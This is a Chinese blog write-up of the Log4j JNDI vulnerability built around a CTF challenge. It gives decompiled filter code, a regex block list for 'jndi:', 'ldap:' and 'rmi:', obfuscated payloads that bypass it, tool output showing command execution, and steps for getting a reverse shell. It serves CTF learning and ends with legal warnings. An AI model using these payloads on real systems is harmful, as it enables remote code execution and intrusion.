Log4j 漏洞简单探究及实际利用

2023-05-02 11:20:03 浏览数 (2)

本文最后更新于 455 天前,其中的信息可能已经有所发展或是发生改变。

什么是log4j

Log4j是Apache的一个开源项目,通过使用Log4j,我们可以控制日志信息输送的目的地是控制台、文件、GUI组件,甚至是套接口服务器、NT的事件记录器、UNIX Syslog守护进程等;我们也可以控制每一条日志的输出格式;通过定义每一条日志信息的级别,我们能够更加细致地控制日志的生成过程。最令人感兴趣的就是,这些可以通过一个配置文件来灵活地进行配置,而不需要修改应用的代码。

log4j在java开发的项目中使用率极广,所以说这漏洞在实际使用中利用价值挺高的。

Apache Log4j 2.8.2之 前的2.x版本中存在安全漏洞。攻击者可利用该漏洞执行任意代码。

漏洞出现成因

这一部分网上很多大佬已经做了分析,我这里选一些大家自行看一下即可。

log4j2远程执行漏洞原理以及解决方案:https://blog.csdn.net/weixin_39984161/article/details/121933907

Log4j2 Jndi 漏洞原理解析、复盘:https://www.cnblogs.com/zh94/p/15681154.html

由一道ctf题来引入实际利用

这部分由前一段时间的real_world_ctf中的log4flag进行解析。

LoginServlet.class

代码语言:javascript复制
package org.rwctf.filters;

import java.io.IOException;
import java.util.Enumeration;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;

public class SecurityFilter implements Filter {

   private static final Pattern pattern = Pattern.compile("(\$\{jndi:)|(ldap:)|(rmi:)");

   public void init(FilterConfig filterConfig) throws ServletException {
   }

   public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
      Enumeration paramNamesEnum = servletRequest.getParameterNames();

      while(paramNamesEnum.hasMoreElements()) {
         String paramName = (String)paramNamesEnum.nextElement();
         String paramVal = servletRequest.getParameter(paramName);
         if(paramVal != null && !paramVal.isEmpty()) {
            Matcher matcher = pattern.matcher(paramVal);
            if(matcher.find()) {
               servletResponse.getWriter().write("Illegal parameter value");
               return;
            }
         }
      }

      filterChain.doFilter(servletRequest, servletResponse);
   }

   public void destroy() {
   }

}

SessionFilter.class

代码语言:javascript复制
package org.rwctf.filters;

import java.io.IOException;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import javax.servlet.http.HttpSession;

public class SessionFilter implements Filter {

   public void init(FilterConfig filterConfig) throws ServletException {
   }

   public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
      HttpServletRequest request = (HttpServletRequest)servletRequest;
      HttpServletResponse response = (HttpServletResponse)servletResponse;
      HttpSession session = request.getSession();
      if(session != null && session.getAttribute("user") != null) {
         filterChain.doFilter(servletRequest, servletResponse);
      } else {
         String requestURI = request.getRequestURI();
         if(requestURI.equals("/hello.html")) {
            response.sendRedirect("/login.html");
         } else {
            filterChain.doFilter(servletRequest, servletResponse);
         }
      }

   }

   public void destroy() {
   }
}

SecuriyFilter.class

代码语言:javascript复制
package org.rwctf.filters;

import java.io.IOException;
import java.util.Enumeration;
import java.util.regex.Matcher;
import java.util.regex.Pattern;
import javax.servlet.Filter;
import javax.servlet.FilterChain;
import javax.servlet.FilterConfig;
import javax.servlet.ServletException;
import javax.servlet.ServletRequest;
import javax.servlet.ServletResponse;

public class SecurityFilter implements Filter {

   private static final Pattern pattern = Pattern.compile("(\$\{jndi:)|(ldap:)|(rmi:)");

   public void init(FilterConfig filterConfig) throws ServletException {
   }

   public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {
      Enumeration paramNamesEnum = servletRequest.getParameterNames();

      while(paramNamesEnum.hasMoreElements()) {
         String paramName = (String)paramNamesEnum.nextElement();
         String paramVal = servletRequest.getParameter(paramName);
         if(paramVal != null && !paramVal.isEmpty()) {
            Matcher matcher = pattern.matcher(paramVal);
            if(matcher.find()) {
               servletResponse.getWriter().write("Illegal parameter value");
               return;
            }
         }
      }

      filterChain.doFilter(servletRequest, servletResponse);
   }

   public void destroy() {
   }

}

这道题很简单,找到可以输入的点,触发log4j漏洞,在触发漏洞的位置存在一次过滤,绕过过滤即可。

很明显的注入点位置在登录界面传入的username和password

代码语言:javascript复制
      String username = req.getParameter("username");
      String password = req.getParameter("password");
      if("admin".equals(username) && "admin".equals(password)) {
         logger.info("Login success");
         req.getSession().setAttribute("user", "admin");
         resp.sendRedirect("/hello.html");
      } else {
        // 这里会回显 传入的username,log4j漏洞触发要去需要一个回显点
         logger.error("User {} login failed", username);
         resp.sendRedirect("/error.html");
      }

而在SecurityFulter.class中对传入的参数进行了一次正则过滤,需要先绕过才能成功发起攻击,这一步骤可以使用工具完成。

jndi_tool:https://github.com/wyzxxz/jndi_tool

调用示例

代码语言:javascript复制
> java -cp jndi_tool.jar jndi.log4j.HLDAPLog4j xx.xx.xx.xx 8088 "whoami" http://xx.xx.xx:8080/
[-] LDAP Listening on 0.0.0.0:8088
0. ${jndi:ldap://127.0.0.1:8088/xobject}
1. ${jndi:ldap://127.0.0.1#127.0.0.1:8088/xobject}
2. ${${upper:j}${upper:n}${upper:d}${upper:i}:${upper:l}${upper:d}${upper:a}${upper:p}://127.0.0.1:8088/xobject}
3. ${${lower:j}${lower:n}${lower:d}${lower:i}:${lower:l}${lower:d}${lower:a}${lower:p}://127.0.0.1:8088/xobject}
4. ${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://127.0.0.1:8088/xobject}
5. ${${kXqh:pJ:-j}${FAvg:PfJU:-n}${DMCK:qO:-d}${::-i}:${z:Aq:-l}${:XT:-d}${cFEq::-a}${DfP:dpH:-p}://127.0.0.1:8088/xobject}
6. ${${RkL:kdx:x:Ta:vT:zMy:-j}${:CFf:yI:-n}${:CR:LqeF::-d}${EY:LgWR:Y:lao:-i}:${Y:D:-l}${HSh:lK:C:-d}${UIyH:ppxT:-a}${cNi:gxB:z:-p}://127.0.0.1:8088/xobject}
7. ${${lower:${lower:j}}${lower:${lower:${lower:n}}}${lower:${lower:d}}${lower:${lower:i}}:${lower:l}${lower:${lower:${lower:${lower:d}}}}${lower:${lower:${lower:a}}}${lower:${lower:p}}://127.0.0.1:8088/xobject}
8. ${${upper:${upper:j}}${upper:${upper:${upper:n}}}${upper:${upper:${upper:${upper:d}}}}${upper:${upper:i}}:${upper:${upper:l}}${upper:d}${upper:${upper:${upper:a}}}${upper:${upper:${upper:p}}}://127.0.0.1:8088/xobject}
9. ${${upper:${upper:${upper:j}}}${upper:n}${lower:${upper:${lower:${lower:d}}}}${upper:${lower:${lower:i}}}:${upper:${lower:l}}${upper:${lower:d}}${lower:a}${lower:${upper:${lower:p}}}://127.0.0.1:8088/xobject}
[-] please chosse payload, or input payload like payload=${......}
> 0
[-] payload: ${jndi:ldap://127.0.0.1:8088/xobject}
[-] start exploit. waiting...
[-] remote target jdk version: java/1.8.0_131, use payload version: jdk8
[-] send payload done
[-] waiting result...
result: 
root

因为环境关了我也懒得复现了,这里就简单说一下流程。

  1. 将jndi_tool上传到远程服务器
  2. 按照调用示例使用jndi_tool将其中的xx.xx.xx.xx替换为远程服务器公网ip地址,cmd部分替换为反弹shell命令
  3. 在远程服务器上开启监听,注意不要和jndi_tool使用同一个端口
  4. 选择攻击提供的一条payload传入注入点
  5. 收到监听

防护方法

Apache Log4j Security Vulnerabilities:https://logging.apache.org/log4j/2.x/security.html

请勿使用此漏洞发起网络攻击,网络不是非法之地。

  1. 根据《中华人民共和国治安管理处罚法》第二十九条 对违反国家规定,侵入计算机信息系统,造成危害的,处五日以下拘留;情节较重的,处五日以上十日以下拘留。
  2. 根据《中华人民共和国刑法》第二百八十五条第一款的规定,犯本罪的,处三年以下有期徒刑或者拘役。单位犯本罪的,对单位判处罚金,并对其直接负责的主管人员和其他直接责任人员,依照上述规定处罚。 请勿用于非法用途,否则将承担相应的法律责任。

浏览量: 523

0 人点赞